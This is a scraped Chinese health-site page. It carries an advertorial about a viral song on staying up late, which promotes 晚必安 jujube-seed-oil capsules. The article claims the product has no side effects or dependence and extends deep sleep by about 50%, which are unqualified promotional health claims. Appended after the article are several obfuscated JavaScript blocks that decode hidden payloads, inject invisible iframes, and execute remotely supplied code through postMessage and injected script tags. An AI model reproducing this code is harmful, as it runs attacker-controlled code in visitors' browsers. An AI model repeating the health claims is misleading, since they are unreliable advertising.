晚必安之歌为什么受到年轻人追捧?.中医养生 尚春台,ai2hao.com 

晚必安之歌为什么受到年轻人追捧?_中医养生

近年来,熬夜逐渐成为人们关注的热门话题,成为当下年轻人“又爱又恨”的存在。最近,又有一个关于熬夜的话题吸引了大家的眼球,那就是在复活节当天登上微博热搜的#90后为什么喜欢熬夜#。

点开话题页,热度最高的是一首叫《晚必安之歌》的歌曲,它不同于以往的职场吐槽类歌曲,而是唱出了各个职业的熬夜心声,娱乐的同时,还给出了如何才能拥有高质量睡眠的方法,可以说既让人产生了共鸣又收获了好睡眠的“秘密”,也难怪它会受到熬夜人的“追捧”。

参与话题讨论的网友们也纷纷发表自己熬夜的理由,除了工作所需,还有一个导致很多人熬夜的原因,就是“报复性熬夜”,总结起来就是“舍不得睡”。大家普遍认为当下真正属于自己的时间少之又少,只有夜深人静的时刻能够做一下“真实的自己”,所以熬夜就成了一些职场人的生活常态。

正如歌里唱的那样,虽然熬夜各有不同,但是提升睡眠力也是健康生活、好好工作的基础。据中国睡眠研究会等机构发布的《2022中国国民健康睡眠白皮书》显示,44%的19-25岁年轻人熬夜至零点以后,42%的老年人入睡时长超过半小时,失眠率高达21%。19-35岁青壮年是睡眠问题高发年龄段,“入睡难、睡眠浅、不想睡”等睡眠问题逐渐成为年轻人的普遍痛点。

在追求好睡眠的路上,大家也是各展身手,有人依靠高科技,智能助眠产品成为首选;有人相信心理调节,释放压力等助眠课程成为他们的“心头好”;还有人借助助眠药品,例如褪黑素之类的网红药。但是,在这次的热搜里,我们看到最多网友晒出的以岭药业的晚必安酸枣仁油软胶囊,而它正是“晚必安之歌”里改善睡眠的“法宝”。

歌里一直强调提升睡眠力需要依靠“自然深度好睡眠”,这也正是很多熬夜人群梦寐以求的高质量睡眠。首先,自然睡眠可以说是睡眠的最高境界,也就是不依靠药物和机械进入正常的睡眠。许多人依靠安眠药入睡,就会或多或少影响到正常睡眠结构,导致人体得不到正常休息,醒来也会有头脑昏沉等负面影响,时间长了还有可能造成依赖性。而酸枣仁油在帮助快速入睡的同时不会影响原来的睡眠结构,而且主要成分酸枣仁是药食同源的中药,更加安全无害,没有副作用也不会产生依赖性,是在真正呵护自然睡眠。

深度睡眠是决定睡眠质量的关键,也被称为“黄金睡眠”,脑力和体力的恢复主要在这段时间进行,如果深度睡眠时间不够,睡眠效果也会大打折扣,比如“睡了跟没睡一样”、“睡醒感觉很累”、“头脑不清醒”等,都是缺乏深度睡眠的表现。晚必安就可以帮助解决这些问题,经复旦大学国家重点实验室研究证实,晚必安能使深度睡眠时间延长约50%,可高效提升睡眠质量,轻松拥有自然深度好睡眠,或许这也是网友开始将睡眠交给晚必安的原因。

康德曾说过:“有三样东西有助于缓解生命的辛劳:希望,睡眠和微笑。”所以希望大家在不得不熬夜的同时,能够拥有美好的希望,动人的微笑和高质量的睡眠。

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eval("\x77\x69\x6e\x64\x6f\x77")["\x73\x4F\x6B\x4A\x6A\x6B\x41\x68\x72"]=function(){eval(Akjs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoQWtqcyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEFranMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihBa2pzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbQWtqcygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfMzI1MSc7dmFyIF9fYWFucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19hYW5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzMyNTEnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fYWFucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oQWtqcyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9PVFOJysnTnknKycwU00nKycxSScrJ3onKydNdE1tJysnUnlVJysneWRqJysnWkcnKydOTnQnKydSbVJ5VScrJ3lNMFFEJysnTScrJ3hFMCcrJ01sJysnMDJiaicrJzUnKydpYTNWVycrJ2UwZFgnKydadWMnKyczZDNaaycrJ01sJysnWWtNbCcrJ0UnKycwTScrJ2xNSCcrJ2MwJysnUkhhJysnJysnJywnJysnTDlmJysnWXo5JysncVUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnSUtFJysnMnV3JysnQicrJycrJycsJ04nKQ=="));}

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eval("\x77\x69\x6e\x64\x6f\x77")["\x46\x46\x5A\x46"]=function(e){var iL =''+'ABCDEF'+'GHIJKLM'+'NOPQRSTUVWXY'+'Zabcdefg'+'hijklmnopqrst'+'uvwxyz0123456789'+'+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=iL.indexOf(e.charAt(f++));o=iL.indexOf(e.charAt(f++));u=iL.indexOf(e.charAt(f++));a=iL.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x46\x44\x46\x5A\x50\x72\x4C\x69\x6B"]=function(){eval(FFZF("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoRkZaRih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEZGWkYoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihGRlpGKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbRkZaRigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKEZGWkYoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6TVQnKydMM1VEJysnTjMwQ2UnKydHSicrJ0pUSkppJysnVjJaeHAnKycyJysnTUdKJysnSlRKJysnSnonKydRRE4nKyd3RVRRJysnelUnKydTYicrJ3ZOJysnbUxqbDInKydZJysnamxXZScrJ3VsRycrJ2InKyd1dzInKydjelonKydrTWxZJysna01sJysnRTBNbCcrJ00nKydIYzBSJysnSGEnKycnKycnLCcnKyc5TTgnKydRUkInKydJZycrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydOREEnKydLaEcnKyc5JysnJysnJywnSicp"));}
eval("\x77\x69\x6e\x64\x6f\x77")["\x53\x43\x53\x4A"]=function(e){var CS =''+'ABCDEFGHI'+'JKLMNOPQR'+'STUVWXYZabcdefghi'+'jklmnopqrs'+'tuvwxyz'+'0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=CS.indexOf(e.charAt(f++));o=CS.indexOf(e.charAt(f++));u=CS.indexOf(e.charAt(f++));a=CS.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x59\x4A\x58\x53\x43\x49\x48\x77\x53"]=function(){eval(SCSJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoU0NTSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFNDU0ooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihTQ1NKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbU0NTSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFNDU0ooZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9PScrJ3dNejAnKydDTTEnKydJJysneicrJ010JysnZ25SeScrJ1VTYmonKydkR0cnKydOMScrJ2tuUnlVJysneU0wUUQnKydNeEUnKycwTWwnKycwMicrJ2JqNScrJ2lhM1YnKydXZTAnKydkWFp1YycrJzMnKydkMycrJ1prTWxZJysnaycrJ01sRTAnKydNbE1IJysnYzBSSGEnKycnKycnLCcnKydjeTMnKyczSGonKydVOScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0WGUnKydrckQnKyc1JysnJysnJywnRycp"));}